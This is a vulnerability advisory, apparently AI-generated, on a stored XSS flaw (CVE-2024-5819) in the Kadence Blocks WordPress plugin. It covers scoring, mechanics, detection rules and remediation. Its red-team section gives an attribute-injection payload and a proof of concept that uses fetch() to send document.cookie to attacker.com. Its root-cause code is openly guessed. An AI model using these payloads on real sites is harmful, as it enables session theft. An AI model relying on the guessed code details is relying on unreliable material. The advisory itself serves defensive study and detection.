CVE-2024-5819

Executive Summary

CVE-2024-5819 is a DOM-based Stored Cross-Site Scripting (XSS) vulnerability in the Gutenberg Blocks with AI by Kadence WP – Page Builder Features plugin for WordPress. The flaw exists in all versions up to and including 3.2.45. It arises from insufficient input sanitization and output escaping on user-supplied HTML data attributes, allowing authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious payload.

This vulnerability is specific to the WordPress ecosystem and affects sites using the Kadence Blocks plugin. The CVSS score of 6.4 (Medium) reflects the need for authenticated access and user interaction, but the stored nature of the XSS can lead to widespread impact, including session hijacking, defacement, or redirection to malicious sites.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but is a WordPress plugin. The plugin is distributed via the WordPress plugin repository and can be updated through the WordPress admin dashboard. Users should monitor for official patches from Kadence WP.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The attack is executed over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs contributor-level access or higher.
• User Interaction (UI): Required – A user must visit the compromised page.
• Scope (S): Changed – The vulnerability can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS can be leveraged for phishing, credential theft, or further compromise.

Deep Dive & Mechanics

The vulnerability resides in the Kadence Blocks plugin, which extends the WordPress block editor (Gutenberg) with additional blocks and AI features. The plugin fails to properly sanitize and escape user-supplied HTML data attributes when rendering blocks. An attacker with contributor-level access can create or edit a post/page and inject malicious JavaScript into a data attribute (e.g., data-*). When the page is rendered, the browser executes the script because the attribute value is not escaped.

Root Cause: The plugin uses wp_kses or similar functions incorrectly, or does not apply output escaping to custom data attributes. This allows an attacker to break out of the attribute context and inject event handlers like onload, onerror, or onmouseover.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates a new post or edits an existing one.
3. Attacker inserts a Kadence block (e.g., Advanced Button, Icon List) that accepts custom HTML attributes.
4. Attacker injects a payload like data-x="x" onmouseover="alert(1)" into the attribute field.
5. The plugin stores the payload without sanitization.
6. When any user (including admins) views the page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.2.45): The plugin likely uses a function like esc_attr() incorrectly or omits it entirely for custom data attributes. Example vulnerable pattern:

echo '<div ' . $attributes['customData'] . '>';

Here, $attributes['customData'] is not escaped, allowing injection.

Patched Code (Hypothetical): A patch would apply esc_attr() to the attribute value:

echo '<div data-custom="' . esc_attr( $attributes['customData'] ) . '">';

Additionally, the plugin should use wp_kses_allowed_html to restrict allowed attributes.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Kadence Blocks plugin <= 3.2.45.
• Contributor-level account or higher.

Exploit Steps:

1. Log in as a contributor.
2. Create a new post.
3. Add a Kadence block that supports custom HTML attributes (e.g., "Advanced Button").
4. In the "Additional CSS Class(es)" or "HTML Attributes" field, inject:

   data-x="x" onmouseover="alert('XSS')"
   

5. Publish the post.
6. Send the post link to a target user. When they hover over the element, the script executes.

Proof-of-Concept (PoC) Payload:

<div class="kb-advanced-btn" data-x="x" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)">Click me</div>

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts/pages containing suspicious HTML attributes (e.g., onmouseover, onerror, onload).
• Use Web Application Firewall (WAF) rules to block XSS payloads in post content.
• Enable WordPress security plugins (e.g., Wordfence) that scan for malicious content.

Hardening:

• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use a plugin that enforces strict output escaping (e.g., Sucuri Security).

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/steal).
  • Unusual Referer headers from WordPress admin pages.

• Host IOCs:

  • Posts/pages containing HTML attributes with event handlers (e.g., onmouseover, onerror).
  • Modified wp_posts table entries with suspicious post_content.

• File IOCs:

  • Modified plugin files (e.g., kadence-blocks/includes/class-kadence-blocks-frontend.php).

Detection Engineering

YARA Rule

rule detect_kadence_xss_payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2024-5819 in Kadence Blocks"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5819"
    strings:
        $xss1 = /on\w+\s*=\s*["'][^"']*["']/ nocase
        $xss2 = /javascript\s*:/ nocase
        $xss3 = /<script\b[^>]*>/ nocase
    condition:
        any of them
}

Sigma Rule

title: Detection of Kadence Blocks XSS Payload
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress posts using Kadence Blocks
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains:
            - 'onmouseover'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of event handlers in custom themes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5819 Kadence Blocks XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"wp-admin/post.php"; http_uri; content:"onmouseover"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Kadence Blocks plugin until a patch is available.
2. Restrict contributor-level access to only trusted users.
3. Review all posts/pages for suspicious HTML attributes and remove them.

Long-term Fix:

• Apply the official patch from Kadence WP when released (monitor their changelog).
• Upgrade to version 3.2.46 or higher once available.

Workarounds:

• Use a Web Application Firewall (WAF) with XSS rules.
• Implement Content Security Policy (CSP) headers:

  Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none';
  

• Use a WordPress security plugin (e.g., Wordfence) to block malicious post content.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.